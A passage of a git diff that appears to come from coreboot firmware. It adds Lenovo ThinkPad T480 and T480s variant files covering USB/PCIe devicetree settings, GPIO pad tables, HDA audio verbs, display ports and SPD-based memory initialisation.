mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +new file mode 100644 +index 0000000000..bf66bd3a69 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC1), // USB-A ++ [1] = USB2_PORT_MID(OC0), // USB-A (always on) ++ [2] = USB2_PORT_MID(OC_SKIP), // JSC-1 (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // USB-C (charging port) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM1 (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN1 (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN1 (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM1 (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR1 (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD1 (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC1), // USB-A ++ [1] = USB3_PORT_DEFAULT(OC0), // USB-A (always on) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // RTS5344S (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // USB-C (charging port) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - JHDD1 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x4 ++ # PCIE 1-4 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT1 - CLKREQ1 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT2 - CLKREQ2 ++ # PCIE 7-8 - RP5 - WWAN - CLKOUT3 - CLKREQ3 ++ # ++ # PCIe controller 3 - 2x2 ++ # PCIE 9-10 - RP9 - TB3 - CLKOUT4 - CLKREQ4 ++ # PCIE 11-12 - RP11 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x4 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "1" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "2" ++ register "PcieRpClkSrcNumber[6]" = "2" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # M.2 WWAN - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "3" ++ register "PcieRpClkSrcNumber[4]" = "3" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "4" ++ register "PcieRpClkSrcNumber[8]" = "4" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ register "PcieRpHotPlug[8]" = "1" ++ end ++ ++ # M.2 2280 caddy - x2 ++ device ref pcie_rp11 on ++ register "PcieRpEnable[10]" = "1" ++ register "PcieRpClkReqSupport[10]" = "1" ++ register "PcieRpClkReqNumber[10]" = "5" ++ register "PcieRpClkSrcNumber[10]" = "5" ++ register "PcieRpAdvancedErrorReporting[10]" = "1" ++ register "PcieRpLtrEnable[10]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..47732e37d5b2bad4e674fd10eafa605d26f97840 +GIT binary patch +literal 4106 +zcmeHJUu+a*5TCu>yW9JAmoD2P9tqx`iFWXCLD09RaS&4j$?kY0KGYdgn6;MZ*!anbk!PNr!a%eU +zTXkLEL3ly5L&oUX#CS7?b2%Kad?s-#@;mhg8>>>#S&)d2I +zmP&-g0$k02szSQj(Y*j}YYtQnDH0;2ui{mPhI!flfFgv9nqI4Wr~5_?s`k0kALiCvcP +zCrRUFrpVYPYn?Jn%6MGXUXj_GGJYa!U&-tn8Gn&ANnz_0+@olH3VTw)mlf@-!p8{!e#p0ct5}M(h16D>p?OGjSz6v3juERjS +z#z{?mXvVqrXs_rvUmYR40gNzg(QD6y9E94?4DWO|6eb83LI-smcVC6x1n2reH}rAp +zLM);f=tWDCr``UF5T>!;PYu^H1g>EBP8A}2*fM>s-@nC3pDV|}6+CtfhG(II7`pcw +z`jLfJ!?;*R@Bp=Nw2EPOC7FEs(cugIP_K6tN_$~tvS8nx6iOv|IMrO3&-m*N9ZP#b +znG^~>I|l1cUVSeD9r^k3h0TP}WWD9=MZxY<Z3B2yU!k71#YRpThOJtVheMDA50rV#s@U +z+nKbA{O(olYR}icuzQD*-cjBQ9;%!eMDVP>7mWsF@=%>o)wSgq=n%DHNOYwRr4Ao6 +zbNdgEn*RdDS>Rud+fIY0N8JkP3q6;>8o%R(CE2n3?Xg%qP+U%~6|{XFyxv7Y#;J2Z +XK$lk*wsY^m4}9|iz?mg_AjCfat$CyH + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +new file mode 100644 +index 0000000000..fcfbd75a92 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +@@ -0,0 +1,19 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (eDP, ++ DP1, ++ DP2, ++ HDMI1, ++ HDMI2, ++ others => Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +new file mode 100644 +index 0000000000..a98dd2bc4e +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +@@ -0,0 +1,199 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++static const struct pad_config gpio_table[] = { ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, DN_20K, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, DN_20K, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NONE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NONE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, UP_20K, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_CFG_NF(GPP_B0, NONE, DEEP, NF1), ++ PAD_CFG_NF(GPP_B1, NONE, DEEP, NF1), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 (dGPU) */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE3 (WWAN) */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 (GBE) */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 (WLAN) */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 (TB3) */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 (SSD) */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NONE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 0, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_CFG_GPO(GPP_C2, 1, DEEP), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_CFG_GPO(GPP_E0, 1, DEEP), /* BDC_ON */ ++ PAD_NC(GPP_E1, NONE), ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -SATA2_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_CFG_GPO(GPP_E19, 0, DEEP), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_CFG_GPO(GPP_F0, 0, DEEP), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, PLTRST, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_NC(GPP_F4, NONE), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R37 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -TAMPER_SW_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +new file mode 100644 +index 0000000000..b1d96c5a76 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa2258, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa2258), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +new file mode 100644 +index 0000000000..001e934b3a +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c +@@ -0,0 +1,44 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include ++#include ++ ++static const struct pad_config memory_id_gpio_table[] = { ++ PAD_CFG_GPI_TRIG_OWN(GPP_F16, UP_20K, DEEP, OFF, ACPI), /* MEMORYID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F17, UP_20K, DEEP, OFF, ACPI), /* MEMORYID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F18, UP_20K, DEEP, OFF, ACPI), /* MEMORYID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F19, UP_20K, DEEP, OFF, ACPI), /* MEMORYID3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F20, UP_20K, DEEP, OFF, ACPI), /* MEMORYID4 */ ++}; ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ int spd_idx; ++ char spd_name[20]; ++ size_t spd_size; ++ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for soldered RAM SPD (CH A) */ ++ gpio_configure_pads(memory_id_gpio_table, ARRAY_SIZE(memory_id_gpio_table)); ++ ++ spd_idx = gpio_get(GPP_F16) | gpio_get(GPP_F17) << 1 | gpio_get(GPP_F18) << 2 | ++ gpio_get(GPP_F19) << 3 | gpio_get(GPP_F20) << 4; ++ printk(BIOS_DEBUG, "Detected MEMORY_ID = %d\n", spd_idx); ++ snprintf(spd_name, sizeof(spd_name), "spd_%d.bin", spd_idx); ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)cbfs_map(spd_name, &spd_size); ++ ++ /* Get SPD for memory slot (CH B) */ ++ struct spd_block blk = { .addr_map = { [1] = 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +new file mode 100644 +index 0000000000..d4afca20c4 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC0), // JUSB1 (USB-A always on) ++ [1] = USB2_PORT_MID(OC1), // JUSB2 (USB-A) ++ [2] = USB2_PORT_MID(OC_SKIP), // JFPR (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // JUSBC (USB-C) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC0), // JUSB1 (USB-A always on) ++ [1] = USB3_PORT_DEFAULT(OC1), // JUSB2 (USB-A) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // JSD (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // JUSBC (USB-C) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - Main M.2 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x2+2x1 ++ # PCIE 1-2 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # PCIE 4 - RP4 - WWAN - CLKOUT1 - CLKREQ1 ++ # ++ # PCIe controller 